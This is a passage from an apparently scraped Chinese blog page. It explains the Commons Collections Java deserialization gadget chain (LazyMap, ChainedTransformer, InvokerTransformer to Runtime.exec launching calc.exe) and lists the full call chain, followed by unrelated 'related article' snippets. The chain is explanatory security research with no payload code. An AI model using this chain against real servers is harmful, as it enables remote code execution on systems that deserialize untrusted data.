LazyMap 的get方法方法里面的this.factory为Transformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器

利用链

Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

参考:

https://blog.csdn.net/adamjwh/p/9683705.html

https://www.anquanke.com/post/id/230788

https://blog.csdn.net/nice0e3/p/13779857.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/401183.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【英语天天读】第一场雪

作者&#xff1a;gnuhpc 出处&#xff1a;http://www.cnblogs.com/gnuhpc/ --Henry Wadsworth Longfellow The first snow came. How beautiful it was, falling so silently, all day long, all night long, on the mountains, on the meadows, on the roofs of the living, o…

性能测试的目的与类型

1.性能测试的目的 (1)评估系统的能力&#xff1a;测试中得到的负荷和响应时间数据可以被用于验证所计划的模型的能力&#xff0c;并帮助作出决策&#xff1b;(2)寻找系统瓶颈&#xff0c;进行系统调优&#xff1b;(4)检测软件中的问题&#xff1b;(5)验证稳定性、可靠性&#x…

求三位数的质数

没做出来啊&#xff0c;原来有这么多方法啊。首先&#xff0c;我连质数是什么都不知道&#xff01;质数&#xff1a;只能被本身和1整除的数帖子里回复了不少方法&#xff1a;class Zhishu {public static void main(String[] args) {int count0;for(int i1;i<100;i){count0…

[转]VS2010+MFC解析Excel文件中数据

本文转自&#xff1a;http://www.vcfans.com/2010/08/vs2010-mfc-excel-file-in-the-data-analysis.html 前两天折腾一个小功能&#xff0c;需求是解析Excel中的数据出来。网上一般使用的方案&#xff1a;1. ODBC当数据库来操作。2. 使用第三方的类库3. 使用COM调用Excel.exe中…

MySQL索引机制(详细+原理+解析)

Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 MySQL索引机制 永远年轻&#xff0c;永远热泪盈眶 一.索引的类型与常见的操作 前缀索引 MySQL 前缀索引能有效减小索引文…

War-Driving(战争驾驶***)

War-Driving总结性的文章 以后应该不会在到这方面过多的下功夫了。点我下载转载于:https://blog.51cto.com/0x007/1586376

array sort - 4 : merge sort

NULL转载于:https://www.cnblogs.com/roadmap99/p/6698809.html

带研发团队后的日常思考1 初级管理者的困惑

Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 带研发团队后的日常思考1 初级管理者的困惑 前言&#xff1a; 本人于2020年4月开始接触管理工作到现在有2年的时间&#…

短连接生成器——让你的url地址长度变短

http://www.henshiyong.com/tools/sina-shorten-url.php 转载于:https://www.cnblogs.com/mangu-uu/archive/2012/10/15/2724290.html

JS函数调用的四种方法

js的函数调用会免费奉送两个而外的参数就是 this 和 arguments 。arguments是参数组&#xff0c;他并不是一个真实的数组&#xff0c;但是可以使用.length方法获得长度。 书上有说4中调用方式&#xff1a; 方法调用模式函数调用模式构造器调用模式apply调用模式下面我们来看看一…

Django项目引入NPM和gulp管理前端资源

Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 前言 之前写了一篇《Asp-Net-Core开发笔记&#xff1a;使用NPM和gulp管理前端静态文件》&#xff0c;现在又来用Django开发…

有声听书

各位领导/投资人/用户/合作伙伴&#xff1a; 我们的产品《有声听书》是为了解决中年人&#xff0c;中老年人的痛苦。他们需要丰富生活&#xff0c;但是现有的方案并没有很好地解决这些需求&#xff0c;我们有独特的办法&#xff0c;有戏剧&#xff0c;书的音频能给用户带来好处…

OpenCV笔记(十五)——使用Laplace算子进行图像的边缘检测

在笔记十四中&#xff0c;我们使用了Sobel算子对图像进行边缘检测&#xff0c;理论依据是像素变化最快的地方最有可能是边缘处&#xff0c;所以使用sobel算子对图像做微分&#xff0c;得到的结果图像当中灰度较大的区域&#xff0c;即为边缘处。 在这里&#xff0c;我们使用Lap…

设计模式之:享元模式FlyweightPattern的实现

Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 享元模式的理解&#xff1a; 享元模式的定义&#xff1a;运用共享技术支持大量细粒度对象的复用&#xff1b; Flyweight P…

安全公司笔试面试题总结

一IP地址&#xff08;注意地址范围和私有地址的定义&#xff09; IP地址分为五类&#xff0c;A类保留给政府机构&#xff0c;B类分配给中等规模的公司&#xff0c;C类分配给任何需要的人&#xff0c;D类用于组播&#xff0c;E类用于实验&#xff0c;各类可容纳的地址数目不同。…

团队作业3——需求改进系统设计

Deadline&#xff1a; 2017-4-21 22:00PM&#xff0c;以博客发表日期为准 评分基准: 按时交 - 有分&#xff0c;检查的项目包括后文的四个方面 需求&原型改进系统设计Alpha任务分配计划测试计划晚交 - 0分迟交两周以上 - 倒扣本次作业分数抄袭 - 倒扣本次作业分数需求&…

sed基本用法

sed可以替换给定文本中的字符串&#xff0c;通过正则表达式来实现。 例如 sed s/pattern/replace_string/ file 1、后缀/g意味着sed会替换每一处匹配。但是有时候并不需要替换前N处。有一个选项可以忽略前N处匹配&#xff0c;并从N1处开始匹配。 echo this thisthisthis | s…

Ubuntu安装开发者平台Backstage

Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 Ubuntu安装开发者平台Backstage 什么是Backstage? Backstage是一个构建开发者门户的开源平台。通过支持一个集中的软件分…

7.中文输入验证-原生JS

1 <!DOCTYPE html>2 <html>3 <head lang"en">4 <meta charset"UTF-8">5 <title>中文输入验证-原生JS</title>6 </head>7 <body>8 <input type"text" id"num" οnblur&quo…

(转)CentOs 设置静态IP 方法

在做项目时由于公司局域网采用自动获取&#xff29;&#xff30;的方式&#xff0c;导到每次服务器重启主机&#xff29;&#xff30;都会变化。为了解决这个问题&#xff0c;我参考了http://blog.sina.com.cn/s/blog_537977e50100qhb5.html的文章然后根据自己的情况设置静态IP…